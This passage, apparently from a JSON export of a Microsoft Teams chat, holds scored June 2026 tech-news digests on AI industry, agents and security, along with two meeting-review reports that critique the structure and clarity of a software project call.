zero-day before Oracle's June 10 patch, hitting enterprise and university systems.\\n  2. **[Hades malware tricks AI scanners with prompt injection](https://www.tomshardware.com/tech-industry/cyber-security/hades-malware-campaign-now-tricks-ai-bots-by-injecting-text-about-biological-and-nuclear-weapons-failsafe-mechanisms-triggered-by-prompts-for-weapon-creation-stop-scans-before-payload-is-seen)** \\\\- Score: 31/35. Malicious Python and JavaScript packages now embed unsafe prompts to trip AI scanner safeguards and hide payloads from cursory checks.\\n  3. **[Vibe-coding startups are raising billions](https://www.businessinsider.com/startups-raising-billions-vibe-coding-boom-cursor-lovable-replit-emergent-2026-3)** \\\\- Score: 30/35. Replit, Lovable, Cognition, Poolside and others show how natural-language app building is pulling capital into developer tooling.\\n  4. **[Google Gemini suffers multi-hour global outage](https://www.techradar.com/news/live/gemini-down-june-2026)** \\\\- Score: 29/35. Gemini users saw error 1076/1099 across web and mobile, underscoring reliability risk as teams depend on AI assistants for work.\\n  5. **[Tech leaders soften how they talk about AI job impact](https://www.businessinsider.com/ai-job-impact-losses-shifting-sam-altman-mustafa-suleyman-comments-2026-6)** \\\\- Score: 28/35. Altman, Suleyman and others are reframing AI from job wipeout to task automation as public and political backlash rises.\\n  6. **[OpenAI and Anthropic warn about the AI future they are building](https://www.businessinsider.com/openai-anthropic-warning-about-future-they-are-building-2026-6)** \\\\- Score: 28/35. Frontier labs are calling for stronger safety coordination while still racing to ship models and developer automation tools.\\n  7. **[OpenAI and Anthropic IPO plans could reshape AI investing](https://www.businessinsider.com/openai-anthropic-ai-ipo-spacex-stocks-stock-market-investing-trade-2026-6)** \\\\- Score: 27/35. Direct public listings for frontier labs could pull capital away from hyperscalers, chips and other indirect AI beneficiaries.\\n  8. **[Palantir CEO criticizes AI companies and their deployment model](https://www.businessinsider.com/palantir-ceo-ai-companies-leaders-unlikeable-fde-competition-2026-6)** \\\\- Score: 26/35. Alex Karp says AI firms misunderstand public trust and copy Palantir's forward-deployed model without enough operational discipline.\\n  9. **[The Internet of Agentic AI](https://arxiv.org/abs/2606.12835)** \\\\- Score: 26/35. New research frames autonomous agents as distributed systems needing identity, negotiation, trust, governance and resource control.\\n  10. **[Programming languages still matter to AI coding agents](https://arxiv.org/abs/2606.13763)** \\\\- Score: 26/35. Claude Code and Codex built chess engines in 17 languages, but performance, cost and supervision still varied heavily by language.\",\n>       \"created_at\": \"2026-06-17T10:43:22.738Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781693002738?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781692653287\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781692653287\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781692653287?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News - Jun 17, 2026 - Repeat Pass 1/10\\n\\nFresh pass after the earlier Jun 17 post. Same-event duplicates from prior\\nChatReview posts were skipped.\\n\\n  1. **[Salesforce to acquire AI agent maker Fin in $3.6B deal](https://www.investors.com/news/technology/salesforce-stock-fin-artificial-intelligence-acqusition-crm/)** \\\\- Score: 32/35. Salesforce is buying Fin/Intercom to strengthen Agentforce, showing how agentic AI is reshaping CRM and enterprise support software.\\n  2. **[OpenAI's latest acquisition could reshape Codex](https://www.techradar.com/pro/openais-latest-acquisition-could-see-big-changes-on-the-way-for-its-codex-coding-assistant)** \\\\- Score: 31/35. OpenAI's planned Ona acquisition targets persistent agent environments, a key building block for long-running Codex and workflow automation.\\n  3. **[Microsoft temporarily bans employees from Claude Fable 5](https://www.windowscentral.com/artificial-intelligence/microsoft-temporarily-ban-employees-from-using-claude-fable-5-ai)** \\\\- Score: 31/35. Anthropic data-retention changes triggered internal Microsoft restrictions, highlighting enterprise AI privacy and competitive-data risks.\\n  4. **[OpenAI weighs price cuts to compete with Anthropic](https://nypost.com/2026/06/11/business/openai-weighs-slashing-prices-in-attempt-to-lure-users-from-rival-anthropic-report/)** \\\\- Score: 30/35. Possible token-price cuts point to a broader AI pricing war that could change model selection and product economics for engineering teams.\\n  5. **[Enterprises are still unprepared to operationalize AI agents](https://www.itpro.com/technology/artificial-intelligence/most-enterprises-are-still-unprepared-to-operationalize-it-it-leaders-are-bullish-on-agents-but-keeping-falling-at-the-final-hurdle-heres-why)** \\\\- Score: 29/35. Forrester warns most agent projects remain pilots because governance, orchestration, data quality and security controls are not mature enough.\\n  6. **[Security at machine speed: why the SOC must be rebuilt](https://www.techradar.com/pro/security-at-machine-speed-why-the-soc-must-be-rebuilt-for-the-ai-era)** \\\\- Score: 29/35. AI-accelerated attacks are forcing SOC teams toward agentic detection, faster triage and new response metrics.\\n  7. **[CISA orders urgent patching for exploited Check Point VPN flaw](https://timesofindia.indiatimes.com/technology/tech-news/us-cybersecurity-agency-cisa-to-homeland-security-department-of-state-treasury-and-several-other-government-agencies-you-have-less-than-24-hours-to-fix-/articleshow/131630443.cms)** \\\\- Score: 29/35. Federal agencies were told to fix CVE-2026-50751 quickly, a reminder that VPN and identity-edge systems remain high-priority attack paths.\\n  8. **[Rule taxonomy and evolution in AI IDEs](https://arxiv.org/abs/2606.12231)** \\\\- Score: 28/35. Researchers mined 7,310 AI IDE rules, showing project-specific constraints improve compliance and are becoming real engineering artifacts.\\n  9. **[AI-driven software development: path to agentic processes](https://arxiv.org/abs/2606.15283)** \\\\- Score: 28/35. New research frames agentic development around context, permissions, logging, verification and human approval rather than simple code generation.\\n  10. **[Mining architectural quality under agentic AI adoption](https://arxiv.org/abs/2606.13298)** \\\\- Score: 27/35. A causal Java-repo study warns that architecture metrics can look better simply because AI-assisted codebases grow larger.\\n  11. **[Agentic AI-generated Julia code struggles at HPC scale](https://arxiv.org/abs/2606.16534)** \\\\- Score: 27/35. AI agents produced executable parallel Julia code, but larger HPC runs hit deadlocks, oversubscription and memory failures.\\n  12. **[Chaining tasks, redefining work: a theory of AI automation](https://arxiv.org/abs/2606.15960)** \\\\- Score: 26/35. A new automation model explains how AI changes jobs by chaining adjacent tasks, with implications for workflow and org design.\",\n>       \"created_at\": \"2026-06-17T10:37:33.287Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781692653287?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781692120704\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781692120704\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781692120704?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News - Jun 17, 2026\\n\\nReviewed 50+ recent items from Jun 10-17, 2026. Duplicate events from previous\\nChatReview news posts were skipped.\\n\\n  1. **[Anthropic export ban sounds alarms for AI industry](https://www.axios.com/2026/06/16/ai-anthropic-export-controls)** \\\\- Score: 34/35. U.S. controls on Anthropic's Fable/Mythos models raise access, safety and go-to-market risk for frontier AI customers.\\n  2. **[Microsoft turns to Amazon for help with GitHub's AI-driven capacity issues](https://www.businessinsider.com/microsoft-github-amazon-ai-cloud-capacity-2026-6)** \\\\- Score: 34/35. AI coding demand is straining GitHub; Microsoft is reportedly adding AWS capacity to reduce outages and keep developer workflows stable.\\n  3. **[SpaceX is buying AI coding startup Cursor for $60 billion](https://www.businessinsider.com/spacex-confirms-cursor-acquisition-60-billion-ai-coding-startup-2026-6)** \\\\- Score: 33/35. One of the largest AI developer-tool deals would fold Cursor into Musk's AI stack and reshape competition with Copilot, Codex and Claude Code.\\n  4. **[CISA tells US agencies to fix security bugs in as little as 3 days thanks to AI threats](https://www.wired.com/story/cisa-ai-vulnerability-directive)** \\\\- Score: 33/35. CISA's new BOD cuts critical vulnerability remediation to as little as three days, signaling faster patch SLAs for AI-era security.\\n  5. **[Microsoft weighs DeepSeek for Copilot Cowork](https://www.axios.com/2026/06/16/microsoft-copilot-cowork-tokenmaxxing-cowork)** \\\\- Score: 33/35. Microsoft may add Azure-hosted DeepSeek and move Copilot Cowork to usage pricing, highlighting cost pressure in enterprise AI agents.\\n  6. **[Visa to secure payments for shoppers on ChatGPT in OpenAI partnership](https://www.wsj.com/tech/ai/visa-to-secure-payments-for-shoppers-on-chatgpt-in-openai-partnership-7ece5b22)** \\\\- Score: 32/35. Visa and OpenAI are building controlled agent payments for ChatGPT, pushing agentic commerce toward real payment rails and merchant APIs.\\n  7. **[AI shifts cyber's hardest problem from finding flaws to fixing them](https://www.wsj.com/pro/cybersecurity/ai-shifts-cybers-hardest-problem-from-finding-flaws-to-fixing-them-43678882)** \\\\- Score: 32/35. Visa's AI security work argues the bottleneck is no longer finding bugs but validating, patching and testing fixes fast enough.\\n  8. **[Databricks releases general AI agents for businesses](https://www.wsj.com/cio-journal/databricks-releases-general-ai-agents-for-businesses-abffb409)** \\\\- Score: 31/35. Databricks launched Genie One, Genie Agents, App Builder and Genie Code, expanding from data platform into enterprise AI agent workflows.\\n  9. **[Arcade.dev raises $60 million to secure AI agents](https://www.wsj.com/cio-journal/arcade-dev-raises-60-million-to-secure-ai-agents-5d07eff4)** \\\\- Score: 31/35. Arcade's funding spotlights agent authorization: separating reasoning from actions, enforcing runtime policy and auditing MCP/A2A tool access.\\n  10. **[Microsoft walked away from a $3 billion Oracle cloud deal over security concerns](https://www.businessinsider.com/microsoft-was-in-talks-to-lease-oracle-compute-capacity-2026-6)** \\\\- Score: 31/35. Microsoft dropped an Oracle capacity deal over FedRAMP gaps, showing compliance is becoming a hard constraint in AI compute sourcing.\\n  11. **[HPE flexes Juniper muscles in AI networking at Discover event](https://www.investors.com/news/technology/hpe-stock-discover-conference-juniper-artificial-intelligence/)** \\\\- Score: 30/35. HPE is packaging Juniper networking into AI data-center and edge stacks, raising competition with Cisco, Arista and Nvidia networking.\\n  12. **[OpenAI hit with multistate probe into possible user harm as IPO looms](https://apnews.com/article/a95894407773307fae8ae3ce9742b586)** \\\\- Score: 30/35. A 42-state probe into OpenAI's data, ads, minors and safety practices may shape AI product governance and enterprise risk reviews.\\n  13. **[Rackspace stock surges on AMD data-center deal](https://www.barrons.com/articles/rackspace-stock-price-amd-data-center-deal-aebdbae1)** \\\\- Score: 29/35. Rackspace chose AMD as primary AI data-center supplier, part of a broader shift toward managed AI infrastructure outside hyperscaler clouds.\\n  14. **[Nvidia joins AI data-center borrowers as infrastructure debt surges](https://www.investors.com/news/technology/ai-data-centers-suppliers-nvidia-debt/)** \\\\- Score: 29/35. Nvidia's bond issue and rising AI data-center debt show how aggressively the industry is financing compute capacity through 2030.\\n  15. **[Databricks rolls out AI spend controls](https://www.axios.com/2026/06/16/databricks-stop-ai-overspend-tokenmaxxing)** \\\\- Score: 29/35. Databricks' Unity AI Gateway adds spend limits and runaway-use controls, a practical response to unpredictable agent/token costs.\",\n>       \"created_at\": \"2026-06-17T10:28:40.704Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781692120704?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781604960018\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781604960018\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781604960018?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## Meeting Reviewer Report - Concise Version\\n\\n**Selected meeting:** Latest completed Fathom meeting, Apr 21, 2026. Reviewed\\nagainst the 20 most recent prior Jenish-recorded meetings. Sensitive details\\nremoved.\\n\\n**Rubric:** 1-3 Poor | 4-6 Needs Improvement | 7-8 Good | 9-10 Excellent.\\n\\n### Score Summary\\n\\n  * **Overall:** 4.3/10 - Needs Improvement\\n  * **Grammar:** 3/10 - Poor. Sentences were often incomplete or hard to parse. Some noise may come from transcription, but clarity still needs work.\\n  * **Communication:** 5/10 - Needs Improvement. Right topics were covered, but the meeting lacked structure and recap discipline.\\n  * **Client frustration handling:** 5/10 - Needs Improvement. Risk increases when questions repeat or timelines are not explained early.\\n\\n### What Went Well\\n\\n  * The team identified important risks: backend migration, login, TTS/audio, grammar correction, Roleplay, payment logic, and cleanup.\\n  * Action items were captured for documentation, testing, migration, and feature fixes.\\n  * Across recent meetings, access negotiation and production-risk planning have improved.\\n\\n### Top Issues By Business Impact\\n\\n  1. **High - unclear opening/context.** Evidence: 00:02 and 02:33. The meeting should start with goal, agenda, and expected output.\\n  2. **High - broad status request.** Evidence: 03:03. Ask by module: status, blocker, owner, due date, test proof.\\n  3. **High - migration discussion too unstructured.** Evidence: 18:37. Supabase, webhooks, TTS, queues, keys, and cleanup should be split into decisions.\\n  4. **Medium - repeated completion checks.** Evidence: 09:49, 18:08-18:20, 31:30-32:04. Repeating done/clear without feature names wastes time.\\n  5. **Medium - client delay concern pattern.** Evidence from prior client call: 35:01. The client had asked repeatedly about timing and still did not understand the delay.\\n\\n### Repeated / Unclear Questions\\n\\n  * **Unclear:** \u201cHow much complete and how much rest?\u201d   \\n**Better:** \u201cList each module with status, blocker, owner, due date, and test\\nevidence.\u201d\\n\\n  * **Unclear:** \u201cIs it done?\u201d   \\n**Better:** \u201cIs this implemented, tested on staging, and matching expected\\nbehavior?\u201d\\n\\n  * **Unclear:** \u201cCheck payment logic.\u201d   \\n**Better:** \u201cVerify purchase success, webhook update, entitlement allocation,\\nfailure handling, and refund/cancel behavior.\u201d\\n\\n### Trend Across Recent Meetings\\n\\n  * **Improved:** better access negotiation, better production rollback thinking, more consistent Fathom action-item capture.\\n  * **Still recurring:** weak English polish, unclear meeting control, repeated clarifications, technical detail before business impact, and reactive timeline explanations.\\n\\n### Recommended Actions\\n\\n  1. Use a fixed meeting checklist: agenda, modules, blockers, decisions, owners, dates.\\n  2. Ask one question at a time, then confirm: decision + owner + deadline + test evidence.\\n  3. Before asking the client for access/details, explain why it is needed.\\n  4. End every call with a 60-second recap and send written notes within 15 minutes.\\n\\n**Final recommendation:** Focus first on meeting structure. Grammar matters,\\nbut the biggest business improvement will come from agenda control, clearer\\nquestions, and consistent decision/owner/date recaps.\",\n>       \"created_at\": \"2026-06-16T10:16:00.018Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781604960018?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781604667200\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781604667200\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781604667200?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## Meeting Reviewer Report\\n\\n**Selected meeting:** Most recent completed Fathom recording: Math IQ app\\nreview, Apr 21, 2026.\\n\\n**Trend context:** Reviewed the selected transcript plus the 20 most recent\\nprior Jenish-recorded Fathom meetings from Apr 20 to Feb 27, 2026. Detailed\\nline evidence is from the selected transcript plus two comparison transcripts.\\nSensitive client details have been removed.\\n\\n**Rubric:** 1-3 Poor | 4-6 Needs Improvement | 7-8 Good | 9-10 Excellent.\\n\\n### 1\\\\. Score Summary\\n\\n  * **Overall score:** 4.3/10 - Needs Improvement. Average of grammar, communication, and client-frustration handling.\\n  * **Grammar score:** 3/10 - Poor. Many captured sentences are incomplete, hard to parse, or use unclear word choices. Some may be Fathom transcription noise, but the call still reads difficult to follow.\\n  * **Communication score:** 5/10 - Needs Improvement. The meeting covered the right technical areas, but structure, ownership, and recap discipline were weak.\\n  * **Client-frustration handling score:** 5/10 - Needs Improvement. Latest call was mostly internal, but the broader pattern shows risk when timeline, access, or reason-for-question is not explained before asking for details.\\n  * **Client frustration risk:** 4/10 in the selected internal meeting; higher in client meetings when repeated clarifications or timeline delays appear.\\n\\n### 2\\\\. Conversation Summary\\n\\nThe latest meeting reviewed Math IQ app status, Flutter/backend architecture,\\nmigration from cloud functions to Supabase, push notifications, Google login,\\nTTS/audio playback, grammar correction, Learn Flow, Roleplay, referral\\nhandling, scheduled notifications, payment logic, and documentation. The team\\ndid surface useful tasks, but the conversation was difficult to follow because\\nseveral requests were broad, repeated, or missing a clear\\nowner/date/acceptance-criteria recap.\\n\\n### 3\\\\. What Went Well\\n\\n  * Important technical risks were raised, including backend migration, payment logic, TTS/audio, login, and production cleanup.\\n  * The team did identify concrete follow-ups such as documentation, migration cleanup, feature fixes, testing, and disabling non-priority items.\\n  * Across prior meetings, access negotiation improved: when code access was not available, tester/app access was accepted as a practical alternative.\\n  * In the Apr 6 comparison meeting, rollout risk thinking was stronger: backend first, app submissions separately, rollback if needed, and user migration planning.\\n\\n### 4\\\\. Priority Issues Ranked By Business Impact\\n\\n  1. **High impact - Unclear opening and context.** Evidence: selected transcript L1 @ 00:02 and L2 @ 02:33. The opening did not clearly state agenda, meeting goal, or expected output, which makes the meeting harder to control.\\n  2. **High impact - Broad status request without a checklist.** Evidence: L3 @ 03:03 asked for what is complete and what remains, but not by module, blocker, owner, or due date. This increases risk of missed scope.\\n  3. **High impact - Technical migration discussion lacked decision framing.** Evidence: L6 @ 18:37 covered Supabase migration, webhooks, TTS, queues, keys, and removed tables in one long block. This should have been split into clear decisions and owners.\\n  4. **High impact - Vague task handoff.** Evidence: L11 @ 30:53 asked to check payment logic, but did not define expected behavior, test cases, failure states, or success criteria.\\n  5. **Medium impact - Repeated completion checks.** Evidence: L4 @ 09:49, L5 @ 18:08-18:20, L8 @ 24:15, and L12 @ 31:30-32:04. Repeating done/complete/clear without a precise feature name can waste time and create confusion.\\n  6. **Medium impact - Client delay concern pattern.** Evidence: Apr 6 comparison transcript T2 @ 35:01. The client indicated they had asked repeatedly about timing and still did not understand the delay. This is a trust risk if not acknowledged early.\\n  7. **Low to medium impact - Meeting close was too weak.** Evidence: L13 @ 32:22-32:35. The call ended without a crisp recap of decisions, owners, deadlines, and risks.\\n\\n### 5\\\\. Missed Opportunities\\n\\n  * Start with a 30-second agenda: status, blockers, migration, bugs, owners, deadlines.\\n  * Use a module checklist instead of broad questions like what is complete and what is remaining.\\n  * After each answer, repeat the decision, owner, deadline, and test evidence.\\n  * Explain why access or technical details are needed before asking the client for them.\\n  * Separate internal debugging from client-facing business impact.\\n  * End with a written recap promise and send it immediately after the meeting.\\n\\n### 6\\\\. Repeated Questions\\n\\n  * Completion checks repeated without enough specificity: done, complete, clear, okay.\\n  * Testing questions repeated around Google login, TTS/audio, grammar correction, Roleplay, and notifications.\\n  * Some follow-up was necessary because the transcript was unclear, but repetition could be reduced by keeping a visible checklist and closing each topic before moving on.\\n\\n### 7\\\\. Unclear Requests And Better Versions\\n\\n  * **Unclear:** Tell how much is complete and how much is remaining. **Better:** Please list each module with status, blocker, owner, due date, and test evidence.\\n  * **Unclear:** Do we use Firebase? **Better:** Are we using Firebase for push notifications only, or also auth, database, cloud functions, or analytics?\\n  * **Unclear:** Is it done? **Better:** Is this feature implemented, tested on staging, and verified against the expected behavior?\\n  * **Unclear:** Check payment logic. **Better:** Verify purchase success, webhook update, entitlement allocation, failure handling, and refund/cancel behavior.\\n\\n### 8\\\\. Necessary Follow-Up Vs Unnecessary Repetition\\n\\n**Necessary follow-up questions:**\\n\\n  * Asking for tester access before estimating or quoting.\\n  * Confirming which backend services still depend on cloud functions.\\n  * Confirming whether login, audio/TTS, grammar correction, and Roleplay are actually tested.\\n  * Asking about production rollout, app approval risk, rollback, and user migration.\\n\\n**Unnecessary repetition:**\\n\\n  * Repeating complete/done/clear after the same answer without narrowing the exact feature.\\n  * Re-asking information that should be captured in the checklist.\\n  * Continuing a topic after owner and action are already known instead of closing it.\\n\\n### 9\\\\. Root Causes Of Client Frustration\\n\\n  * Questions are sometimes asked before the business reason is explained.\\n  * Clients may hear repeated technical questions as uncertainty rather than discovery.\\n  * Timeline or delay explanations are sometimes reactive instead of proactive.\\n  * Broad questions create extra clarification work for the client.\\n  * Missing recap discipline means decisions may need to be repeated in future calls.\\n\\n### 10\\\\. Communication Pattern Trend Across Recent Meetings\\n\\n**Improved over time:**\\n\\n  * Access negotiation became more practical: the Apr 20 call moved from code access to tester/app access without blocking the quote process.\\n  * Risk planning improved in production-launch discussions, especially rollback and user migration.\\n  * Fathom action-item capture has become more consistent in recent calls.\\n  * Recent meetings show better awareness of dependencies across backend, app stores, payments, and user impact.\\n\\n**Recurring weaknesses still showing up:**\\n\\n  * English polish and sentence clarity remain weak in client-facing explanations.\\n  * Meeting control is inconsistent: agenda, topic boundaries, and recap are not always clear.\\n  * Broad questions and repeated clarifications keep appearing in technical meetings.\\n  * Business-impact framing often comes after technical details instead of before them.\\n  * Timeline expectations need more proactive communication before the client asks again.\\n\\n### 11\\\\. Recommended Actions\\n\\n  1. **Before each meeting:** Prepare a one-page checklist with agenda, modules, open questions, risks, and required decisions.\\n  2. **During the meeting:** Ask one question at a time, then confirm: decision, owner, due date, and test evidence.\\n  3. **For client questions:** Start with why the detail is needed, then ask the question.\\n  4. **For technical handoffs:** Use Feature / Expected behavior / Current issue / Owner / Due date / Test case.\\n  5. **After the meeting:** Send a recap within 15 minutes with decisions, owners, deadlines, and risks.\\n\\n### 12\\\\. Useful Replacement Phrases\\n\\n  * **Instead of:** Can you give access? **Say:** To estimate accurately, I need tester access to verify the current flow. Code access is not required at this stage.\\n  * **Instead of:** Is this done? **Say:** Can you confirm whether this feature is implemented, tested on staging, and matching the expected behavior?\\n  * **Instead of:** Why delay? **Say:** The delay is due to these risks: approval timing, backend compatibility, and rollback planning. Here is the current plan and fallback.\\n  * **Instead of:** Check this logic. **Say:** Please verify these five cases and report pass/fail with screenshots or logs.\\n\\n### Final Recommendation\\n\\nThe biggest improvement will come from structure, not only grammar. Use a\\nfixed meeting format: agenda, checklist, one question at a time, recap after\\neach topic, and final owner/date/action summary. Grammar practice is still\\nimportant, especially for client-facing estimation, risk, and timeline\\ncommunication.\",\n>       \"created_at\": \"2026-06-16T10:11:07.2Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781604667200?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781174202082\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781174202082\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781174202082?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"**ChatReview Tech News Informer - Jun 11, 2026** 1\\\\. [Deep dive: How Lightning\\nEngine delivers 4.9x faster Apache Spark\\nperformance](https://cloud.google.com/blog/products/data-analytics/lighting-\\nengine-for-apache-spark-performance-deep-dive/) - AI/cloud update that may\\naffect model access, deployment choices, developer workflows, or platform\\nstrategy. 2\\\\. [Choosing your surface: Antigravity 2.0, Antigravity CLI,\\nAntigravity IDE, or Antigravity\\nSDK](https://cloud.google.com/blog/topics/developers-practitioners/choosing-\\nyour-surface-antigravity-20-antigravity-cli-antigravity-ide-or-antigravity-\\nsdk/) - AI/cloud update that may affect model access, deployment choices,\\ndeveloper workflows, or platform strategy. 3\\\\. [Amazon SageMaker Unified\\nStudio Notebooks now support EMR Serverless](https://aws.amazon.com/about-\\naws/whats-new/2026/06/amazon-sagemaker-unified-studio-emr/) - AI/cloud update\\nthat may affect model access, deployment choices, developer workflows, or\\nplatform strategy. 4\\\\. [Amazon EC2 P6-B200 instances are now available in the\\nAWS GovCloud (US-East) Region](https://aws.amazon.com/about-aws/whats-\\nnew/2026/06/amazon-ec2-p6-b200-aws-govcloud/) - AI/ML update that may affect\\ndeveloper workflows, product strategy, platforms, or technical roadmaps. 5\\\\.\\n[Datadog veterans launch AI coding startup Niteshift on a bet against Big AI\\nlock-in](https://techcrunch.com/2026/06/10/datadog-veterans-launch-ai-coding-\\nstartup-niteshift-on-a-bet-against-big-ai-lock-in/) - AI coding agent startup\\nNiteshift has raised a $7 million seed round from a who's who of angels. It's\\nbetting companies will want power over, not lock-in with model makers. 6\\\\.\\n[For the 2nd time in weeks, Microsoft packages laced with credential\\nstealer](https://arstechnica.com/security/2026/06/for-the-2nd-time-in-weeks-\\nmicrosoft-packages-laced-with-credential-stealer/) - 73 packages run self-\\nreplicating stealer as soon as they're opened by an AI agent. 7\\\\. [Microsoft\\nand Adobe Patch Tuesday, June 2026 Security Update Review -\\nQualys](https://news.google.com/rss/articles/CBMizgFBVV95cUxNcWl1enRmR2J0R24zNUtZcDRrX3VSZTJCNHkxelZxaVgxeUJ5dnhkRTlLN0JuSXlkLVVCa2tySzVxZHUwOTdPcnNUXzR6V1FSTkdWWDVVeUoxYTlhSVVVRzRxRkNlM1ZUYjNJS0F2Y3pzeWxvRXUtaFpyVU9XSVoteDVFNGE5Z01od3hQbVJIeUVWRXBTNkMwZmVIUzJsZGp5cTV2aUp0dUpkSTVaNF8yX0VLQ2xvM1p5Snl1TEg3TVNZd2FuLUVnUU5YbTJIUQ?oc=5)\\n- Security, privacy, or infrastructure update relevant to technical leaders\\nand platform teams. 8\\\\. [PRC-linked influence operations are targeting AI\\ndebates in the US](https://openai.com/index/prc-linked-influence-operations-\\nai-debates) - AI/ML update that may affect developer workflows, product\\nstrategy, platforms, or technical roadmaps. 9\\\\. [Spec-Driven Development: A\\nSpec-First Approach to AI-Native\\nEngineering](https://devblogs.microsoft.com/blog/spec-driven-development-ai-\\nnative-engineering) - AI/ML update that may affect developer workflows,\\nproduct strategy, platforms, or technical roadmaps. 10\\\\. [Angry bug hunter\\nwith Microsoft beef drops new Windows\\n0-day](https://www.theregister.com/security/2026/06/10/nightmare-eclipse-\\npublishes-new-windows-defender-zero-day/5253725) - Revenge is a dish best\\nserved code 11\\\\. [Tumeryk joins Cloud Security Alliance on AI risk scoring -\\nSecurityBrief\\nUK](https://news.google.com/rss/articles/CBMilAFBVV95cUxQTTBPM0NJVk51OC1DNFVtcEFsUEhDMmlEWUZXRHN4QWpMSkNhbFZ2bzVndklMREg4MUE5cFo2akFhbk1hNi1qUGJ6RVI1eHJ0UDlNUnZWclhCT1Y3ckd3ZXhYUHhkem96WjY5TjFwcnJ5Si1KbVQyQVZ2eGprMl9MTTJsSFJDZDFaSnExdFdtbFNpMmZM?oc=5)\\n- AI/ML update that may affect developer workflows, product strategy,\\nplatforms, or technical roadmaps. 12\\\\. [Microsoft fixes BitLocker recovery bug\\non Windows Server\\n2025](https://www.bleepingcomputer.com/news/microsoft/microsoft-fixes-\\nbitlocker-recovery-bug-on-windows-server-2025/) - Security, privacy, or\\ninfrastructure update relevant to technical leaders and platform teams.\",\n>       \"created_at\": \"2026-06-11T10:36:42.082Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781174202082?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781173819999\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781173819999\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781173819999?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"**ChatReview Tech News Informer - Jun 11, 2026**\\n\\n  1. [Seeking Counsel: 